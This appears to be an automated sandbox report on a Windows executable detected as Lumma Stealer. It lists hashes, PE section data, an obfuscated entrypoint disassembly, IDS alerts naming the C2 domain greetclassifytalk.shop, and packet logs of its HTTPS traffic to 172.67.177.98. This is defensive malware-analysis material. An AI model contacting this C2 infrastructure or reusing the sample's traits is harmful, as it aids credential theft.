Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:20:56	API Interceptor	8x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.177.98	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
172.67.177.98	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
greetclassifytalk.shop	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	2M1NS61GG8.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	172.67.129.243
	RrHuyQ4GzG.exe	Get hash	malicious	LummaC	Browse	104.21.86.106
	https://track.enterprisetechsol.com/z.z?l=aHR0cHM6Ly9yZXNvdXJjZS5pdGJ1c2luZXNzdG9kYXkuY29tL3doaXRlcGFwZXJzLzQ0ODAzLU1pY3Jvc29mdC1DUEwtUTItUE1HLUFCTS1HZXItMS1sYW5kaW5nLnBocD9lPWJvbnVjY2VsbGkuZGFyaW9AZGVtZS1ncm91cC5jb20=&r=14547470367&d=12037165&p=1&t=h&h=fb97401a549b1167a78f6002a0aef94d	Get hash	malicious	Unknown	Browse	172.67.74.40
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.4.208
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.76.57
	SecuriteInfo.com.Exploit.ShellCode.69.14498.22623.rtf	Get hash	malicious	Remcos	Browse	172.67.215.45
	Receipt_7814002.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	Essay on Resolution of Korean Forced Labor Claims.vbs	Get hash	malicious	Unknown	Browse	104.26.15.182
	VN24A02765.PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	hta.hta	Get hash	malicious	Unknown	Browse	172.67.177.98
	2M1NS61GG8.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	172.67.177.98
	RrHuyQ4GzG.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	SecuriteInfo.com.Win32.Malware-gen.6467.28521.exe	Get hash	malicious	Unknown	Browse	172.67.177.98
	SecuriteInfo.com.Win32.Malware-gen.6467.28521.exe	Get hash	malicious	Unknown	Browse	172.67.177.98
	FFE Order details - Cincy v41720.xlsx	Get hash	malicious	Unknown	Browse	172.67.177.98
	z47Danfe-Pedido17042024.msi	Get hash	malicious	MicroClip	Browse	172.67.177.98
	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.177.98
	Gantt_Excel_Pro_Daily_Free1.xlsm	Get hash	malicious	Unknown	Browse	172.67.177.98
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.177.98

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9555626953806176
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'747'200 bytes
MD5:	0b4ad1c3b3f364c3d79fabdb47fe3385
SHA1:	85de5462d6342f03eaf3fb48176615fa6fa18508
SHA256:	21f247c6c84b114525d41500d54a63ab4bcea96d14ba8ca13be445acd72a081d
SHA512:	c9f6ecb99786613113ae5e02bf9e4a00fcf7036a1bddd07c87f8cb66ce8f45b9515d4fc0321cbf20282556f16645818249d04390335f518afdc1d2253f8dab76
SSDEEP:	98304:ao3n7Qvg+PVALF8Ka+EQLkVBbrxkKmrMP2tOmzprZOCgNYWxMuxee4F6OzU7+bgb:aY84EALF8Ka+EUakLrMP2tDrQCg6Wxj5
TLSH:	1B46236323260545E6D68C3686277EEE31F3036A8783BC7D69E33DC634225E9B225D53
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....8#f..............................O...........@..........................`............@........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8f9bfe
Entrypoint Section:	.vmp1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x662338B6 [Sat Apr 20 03:38:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d435064ba91569f26a23505d954231af

Entrypoint Preview

Instruction
push A409FB29h
call 00007F6984EC4D55h
rol eax, 1
xor eax, 0EAA540Ch
cmc
neg eax
cmc
sub eax, 48243F84h
xor ebx, eax
cmc
jmp 00007F6984E052ABh
not edx
bswap edx
jmp 00007F6984EEBA30h
test ebp, edi
not eax
jmp 00007F6984F80BE8h
dec ecx
stc
ror ecx, 1
cmc
test dl, ah
neg ecx
add ecx, 0F1845A9h
jmp 00007F6984E74348h
mov ax, word ptr [ebp+00h]
mov cl, byte ptr [ebp+02h]
cmc
sub ebp, 00000002h
stc
test edi, ebx
jmp 00007F6984EFD649h
push esi
ret
not edx
jmp 00007F6984F9ECB1h
jmp 00007F6984ED6E13h
push A8F035E8h
call 00007F6985341C9Ch
bswap eax
jmp 00007F6984E1BE69h
not eax
cmc
ror eax, 1
jmp 00007F6984E21D18h
jmp 00007F6984EE7921h
rep stosw
test ah, al
mov ecx, dword ptr [ebp+08h]
movzx ax, ch
dec eax
lea eax, dword ptr [ecx-01h]
mov dword ptr [ebp-40h], eax
xor esi, esi
test dx, bp
or eax, FFFFFFFFh
sub edi, edi
test ch, FFFFFFF9h
jmp 00007F6985021E0Ch
inc eax
cmp ch, 00000054h
xor ebx, eax
cmp ch, FFFFFF8Bh
add edi, eax
push edi
ret
dec edx
clc
test cl, 0000007Ah
xor ebx, edx
test cl, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8ebf94	0xdc	.vmp1
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8f5000	0x5bc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5b5000	0x80	.vmp1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x39105	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x28fb	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0xa534	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp0	0x49000	0x330141	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp1	0x37a000	0x57a7c0	0x57a800	333653f67ef3ae4a0da443bd2daf79ef	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x8f5000	0x5bc	0x600	68a79c1c12512e8647f2e507d94281b6	False	0.529296875	data	4.224219147614464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	ExitProcess
OLEAUT32.dll	SysAllocString
ole32.dll	CoCreateInstance
USER32.dll	CloseClipboard
GDI32.dll	BitBlt
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery
USER32.dll	GetProcessWindowStation
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/20/24-19:20:56.333314	UDP	2052028	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop)	52332	53	192.168.2.4	1.1.1.1
04/20/24-19:21:01.309164	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49735	443	192.168.2.4	172.67.177.98
04/20/24-19:20:56.483623	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49730	443	192.168.2.4	172.67.177.98
04/20/24-19:20:57.310065	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49731	443	192.168.2.4	172.67.177.98
04/20/24-19:21:00.168650	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49734	443	192.168.2.4	172.67.177.98
04/20/24-19:20:58.261554	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49732	443	192.168.2.4	172.67.177.98
04/20/24-19:21:03.516500	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49737	443	192.168.2.4	172.67.177.98
04/20/24-19:20:59.171078	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49733	443	192.168.2.4	172.67.177.98
04/20/24-19:21:02.107071	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49736	443	192.168.2.4	172.67.177.98

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 19:20:56.479856968 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.479935884 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:56.480057001 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.483623028 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.483681917 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:56.717701912 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:56.717951059 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.720880032 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.720931053 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:56.721486092 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:56.775702953 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.810002089 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.810003042 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:56.810437918 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.291860104 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.291970968 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.292073965 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.295871973 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.295917034 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.309381008 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.309461117 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.309704065 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.310065031 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.310139894 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.529468060 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.529721022 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.530826092 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.530849934 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.531349897 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:57.532526970 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.532557011 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:57.532660007 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093123913 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093348026 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093429089 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093511105 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093571901 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.093573093 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.093590975 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093663931 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093724966 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.093740940 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093827963 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093904972 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.093982935 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.094048023 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.094048023 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.094068050 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.094095945 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.094146013 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.094228029 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.094358921 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.094556093 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.094556093 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.094556093 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.260979891 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.261065960 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.261156082 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.261554003 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.261579990 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.400762081 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.400823116 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.487245083 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.487328053 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.489479065 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.489490032 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.490022898 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.491862059 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.492017031 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.492054939 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:58.492140055 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:58.492146969 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.060959101 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.061259031 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.061336994 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.064482927 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.064505100 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.170698881 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.170732021 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.170790911 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.171077967 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.171092033 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.397903919 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.398010015 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.399862051 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.399876118 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.400398970 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.401578903 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.401696920 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.401757002 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.929457903 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.929727077 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:20:59.929835081 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.929861069 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:20:59.929883957 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.168056011 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.168112993 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.168220997 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.168649912 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.168662071 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.397979021 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.398078918 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.399665117 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.399688005 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.400201082 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.401731968 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.401942968 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.401978016 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.402059078 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.402075052 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.983414888 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.983673096 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:00.983675957 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:00.983753920 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.308715105 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.308764935 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:01.308875084 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.309164047 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.309176922 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:01.531259060 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:01.531353951 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.532850027 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.532865047 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:01.533389091 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:01.537728071 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.538269043 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:01.538327932 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.052558899 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.052826881 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.052864075 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.052932978 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.106456041 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.106535912 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.106934071 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.107070923 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.107105017 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.331387997 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.331621885 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.333353996 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.333405018 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.333977938 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.335058928 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.335154057 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.335253000 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.856508970 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.856791973 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:02.856911898 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:02.856913090 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.515516996 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.515624046 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.515741110 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.516499996 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.516575098 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.736799955 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.737082958 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.738657951 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.738709927 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.739063978 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.740623951 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742044926 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742093086 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.742239952 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742280960 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.742419958 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742463112 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.742633104 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742671013 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.742863894 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.742924929 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.743155956 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.743210077 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.743228912 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.743439913 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.743494987 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.784169912 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.784579992 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.784672022 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.784697056 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.832130909 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.832354069 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.832413912 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.832453966 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.880212069 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:03.880431890 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:03.928129911 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:04.057712078 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:05.320393085 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:05.320668936 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 20, 2024 19:21:05.320980072 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:05.321064949 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 20, 2024 19:21:05.321101904 CEST	443	49737	172.67.177.98	192.168.2.4

UDP Packets

